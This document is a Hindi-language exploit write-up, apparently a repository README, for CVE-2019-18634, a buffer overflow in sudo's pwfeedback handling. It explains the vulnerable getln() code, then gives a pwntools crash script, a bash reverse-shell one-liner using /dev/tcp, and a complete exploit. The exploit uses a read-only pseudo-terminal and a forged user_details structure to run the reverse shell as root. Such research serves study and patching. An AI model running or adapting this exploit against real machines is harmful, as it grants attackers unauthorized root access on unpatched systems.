
इस रेपो में एक्सप्लॉइट और यह बताने की व्याख्या दोनों शामिल हैं कि इस कमजोरी का फायदा कैसे उठाया जाता है।
CVE-2019-18634 एक भेद्यता है जो Sudo के संस्करण < 1.8.25 को प्रभावित करती है जब sudoers फ़ाइल में pwfeedback सक्षम होता है। यह एक हमलावर को BSS-आधारित बफर ओवरफ्लो (BSS-Based Buffer Overflow) का शोषण करके रूट विशेषाधिकारों तक बढ़ाने की अनुमति देता है, जहाँ डेटा संरचनाएँ बदल दी जाती हैं और यह सोचता है कि इसे रूट के रूप में निष्पादित किया जा रहा है और इस प्रकार, अब पासवर्ड नहीं माँगता और रूट विशेषाधिकार देता है।
इस विश्लेषण में मैं पहले कोड का विश्लेषण करके और यह समझकर कि क्या गलत है, भेद्यता की खोज में गहराई से जाऊंगा। NIST का लेख बताता है कि भेद्यता getln() फ़ंक्शन में पाई जाती है, तो पहले उस पर एक नज़र डालते हैं:
हम देख सकते हैं कि फ़ंक्शन एक फ़ाइल डिस्क्रिप्टर से buffersize बार एक-एक करके पढ़ता है और, यदि पढ़ा गया कैरेक्टर sudo-term-kill है, तो यह सभी भेजे गए इनपुट को मिटाना शुरू करेगा और वर्तमान पॉइंटर को वापस शुरुआत में लाएगा और फिर से buffersize के रूप में पढ़े जाने वाले कैरेक्टरों की संख्या सेट करेगा।
बग निम्नलिखित कोड खंड में है:
static char *
getln(int fd, char *buf, size_t bufsiz, int feedback)
{
size_t left = bufsiz;
ssize_t nr = -1;
char *cp = buf;
char c = '\0';
debug_decl(getln, SUDO_DEBUG_CONV)
// ...
while (--left) {
nr = read(fd, &c, 1);
if (nr != 1 || c == '\n' || c == '\r')
break;
if (feedback) {
if (c == sudo_term_kill) {
while (cp > buf) {
if (write(fd, "\b \b", 3) == -1)
break;
--cp;
}
left = bufsiz;
continue;
}
// ...
}
*cp++ = c;
}
// ...
}
मूल रूप से, जब sudo-term-kill कैरेक्टर मौजूद होता है, यदि लिखने का ऑपरेशन विफल हो जाता है, तो यह बफ़र पॉइंटर को घटाएगा नहीं, बल्कि यह इस बात की गणना को रीसेट करेगा कि यह कितने अक्षर लिख सकता है, प्रभावी रूप से उस बफ़र पर एक मनमानी लंबाई का लेखन करता है।
कोड और उपयोग किए गए फ़ंक्शनों के गहन विश्लेषण से पता चलता है कि sudo-term-kill कैरेक्टर को एक वैश्विक अघोषित पूर्णांक के रूप में परिभाषित किया गया है, जिसका अर्थ है कि जब तक इसे टर्मिनल से इनपुट प्राप्त नहीं होता, तब तक इसे 0 से प्रारंभ किया जाएगा, और फिर यह वही होगा जो termios c_cc संरचना पर सेट है, जो दस्तावेज़ के अनुसार है:
मैं यहाँ निष्कर्षों में बहुत गहराई में नहीं जाऊंगा, लेकिन इन सभी को Sudo रिपॉज़िटरी में term.c फ़ाइल के स्रोत कोड को देखकर दोहराया जा सकता है।
इस छोटे से विश्लेषण के बाद, केवल प्रोग्राम को क्रैश करना और इसे डिबग करना बाकी है ताकि हम देख सकें कि क्या संग्रहीत किया जा रहा है और इसका उपयोग कैसे किया जा सकता है ताकि कुछ लाभ उठाया जा सके।
एक्सप्लॉयट को ट्रिगर करने के लिए, हमें केवल एक पेलोड भेजना होता है जिसमें बफ़र को ओवरफ्लो करने और प्रोग्राम को क्रैश करने के लिए पर्याप्त डेटा हो। ऐसा करने के लिए, मैंने पायथन लाइब्रेरी pwntools का उपयोग करने का निर्णय लिया।
import pwn
payload = b"A\x00"*10000
p = pwn.process(["/usr/local/bin/sudo", "-k", "-S", "id"]) # -k for asking the password every time, -S to specify stdin, as pwntools needs to pass data through stdin
print(p.read())
p.sendline(payload)
print(p.read())
जिसके निष्पादन पर निम्नलिखित त्रुटि मिली:

बढ़िया!! सेग्मेंटेशन फॉल्ट, तो हमने कुछ ओवरराइट कर दिया है जिसने बाइनरी के निष्पादन को क्रैश कर दिया। अब, हमें देखना चाहिए कि क्या ओवरराइट किया गया है और इससे लाभ उठाने के तरीके।
बाइनरी को डिबग करने के लिए, हमें पेलोड भेजने से पहले प्रक्रिया के निष्पादन को रोकना होगा, फिर इसमें एक डिबगर संलग्न करना होगा और फिर निष्पादन जारी रखना होगा। ऐसा इसलिए करना पड़ता है क्योंकि sudo प्रक्रिया को डिबग करने के लिए रूट विशेषाधिकारों का उपयोग करना पड़ता है, लेकिन इससे प्रोग्राम पासवर्ड नहीं माँगता, जो कि इसका कमजोर हिस्सा है।
यह कहने के बाद, आइए आगे बढ़ते हैं और देखते हैं कि बफ़र और उसके बाद के मेमोरी पतों में क्या संग्रहीत किया गया है:

हम देख सकते हैं कि बफ़र के अलावा, कई अन्य डेटा संरचनाएं ओवरराइट कर दी गई हैं, जो इस भेद्यता के शोषण की दिशा में दिलचस्प हो सकती हैं। इसके बाद, मैंने यह देखने का निर्णय लिया कि उन डेटा संरचनाओं पर ओवरराइट करने से पहले क्या डेटा था। ऐसा करने के लिए, मैंने केवल buffersize बाइट्स डेटा ओवरराइट करके उसी स्क्रिप्ट को निष्पादित किया और फिर मेमोरी का फिर से विश्लेषण किया:
जैसा कि हम देख सकते हैं, signo डेटा संरचना सभी शून्य है, सिवाय स्थिति 548 पर बाइट के, जो 0x02 है। इसके बाद user-details संरचना आती है, जिसे कोड में sudo चलाने वाले उपयोगकर्ता के विवरण के रूप में संदर्भित किया गया है। 0x02 -S विकल्प का प्रतिनिधित्व करता है, जैसा कि sudo.h फ़ाइल में परिभाषित किया गया है। उसी फ़ाइल में, Askpass नामक एक अन्य विकल्प परिभाषित किया गया है, जिसमें एक प्रोग्राम एक पर्यावरण चर से प्राप्त होता है और इसका उपयोग पासवर्ड प्राप्त करने के लिए एक सहायक के रूप में किया जाता है (TTY या STDIN का उपयोग करने के बजाय)। इस जानकारी के साथ, शोषण का मार्ग अब थोड़ा और स्पष्ट हो सकता है। हम एक कस्टम सहायक प्रोग्राम सेट करने में सक्षम हो सकते हैं (मान लीजिए, एक रिवर्स शेल) और फिर user-details को ओवरराइट करके यह दिखा सकते हैं कि sudo रूट द्वारा निष्पादित किया गया था।
शोषण के लिए अभी भी कुछ बाधा है: हमें डेटा संरचनाओं से मूल डेटा को संरक्षित करने के लिए शून्य लिखने की आवश्यकता है, और हमें उपयोगकर्ता विवरण को रूट के विवरण पर सेट करने के लिए उनकी भी आवश्यकता है, इसलिए हम मानक इनपुट का उपयोग नहीं कर सकते क्योंकि यह शून्य नहीं लिखेगा। सौभाग्य से, हम जानते हैं कि, यदि हम एक टर्मिनल डिवाइस का उपयोग करते हैं, तो किल कैरेक्टर 0x15 है, जो एक ऐसा कैरेक्टर है जिसकी हमें बिल्कुल भी आवश्यकता नहीं है। इसके साथ एक समस्या उत्पन्न होती है: हमें लिखने के ऑपरेशन को विफल करने की आवश्यकता है, लेकिन टर्मिनल डिवाइस लिखने योग्य और पढ़ने योग्य हैं, जिसका अर्थ है कि वे लिखने के ऑपरेशन को विफल नहीं करेंगे। कुछ शोध करने पर, मुझे छद्म टर्मिनलों के बारे में पता चला, जो मूलतः टर्मिनल डिवाइस हैं जिन्हें प्रोग्राम से बनाया जा सकता है और नियंत्रित किया जा सकता है:

PTY के साथ हम मास्टर से संवाद कर सकते हैं और मास्टर स्लेव से संवाद करेगा। यदि हम स्लेव को केवल पढ़ने की अनुमति देते हैं, तो प्रोग्राम कभी भी इसमें नहीं लिख पाएंगे (इस प्रकार विफलता), जिसका अर्थ है कि हम एक्सप्लॉयट को ट्रिगर करने में सक्षम होंगे।
यह सब सेट होने के बाद, केवल रिवर्स शेल लिखना बाकी है।
#!/usr/bin/bash
bash -i >& /dev/tcp/127.0.0.1/4242 0>&1
और एक्सप्लॉयट:
import os
import pwn
import sys
####### Offsets of important info #######
buff = 0x563142f712c0
signo = 0x563142f713e0
userdetails = 0x563142f71500
tgetflag = 0x563142f714e4
####### PTY file descriptors ######
masterfd, slavefd = os.openpty()
fd = os.open(os.ttyname(slavefd), os.O_RDONLY)
rshell = "/tmp/revshell.sh"
####### Process started with pty as stdin and rshell as sudo askpass program ###
proc = pwn.process(['/usr/local/bin/sudo', '-k', '-S', 'id'], env={'SUDO_ASKPASS':rshell}, stdin=fd)
pwn.log.info(f"Process started. Will execute {rshell} as payload")
####### Listener #######
port = pwn.listen(4242)
####### Payload #######
pwn.log.info("Sending Payload")
payload = (b'\x00' + b'\x15') * (tgetflag - buff)
payload += pwn.p64(0x4).ljust(userdetails - tgetflag, b'\x00')
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
os.write(masterfd, payload + b'\n')
port.wait_for_connection()
pwn.log.info("wo0t wo0t welcome back, my lord")
port.interactive()
इनका उपयोग करके, एक रिवर्स शेल रूट के रूप में प्राप्त होता है:
